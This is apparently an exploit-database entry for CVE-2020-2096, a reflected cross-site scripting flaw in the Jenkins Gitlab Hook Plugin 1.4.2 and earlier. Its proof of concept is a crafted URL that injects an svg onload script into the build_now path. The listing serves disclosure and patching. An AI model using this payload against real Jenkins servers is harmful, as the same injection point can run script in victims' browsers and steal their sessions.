Lucene search

K
zdtAi Ho1337DAY-ID-33821
HistoryJan 16, 2020 - 12:00 a.m.

Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting Vulnerability

2020-01-1600:00:00
Ai Ho
0day.today
90

0.97 High

EPSS

Percentile

99.7%

Exploit for java platform in category web applications

# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting
# Exploit Author: Ai Ho
# Vendor Homepage : https://jenkins.io/
# Effective version : Gitlab Hook Plugin 1.4.2 and earlier
# References: https://jenkins.io/security/advisory/2020-01-15/
# CVE: CVE-2020-2096

# PoC:
http://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E

#  0day.today [2020-01-19]  #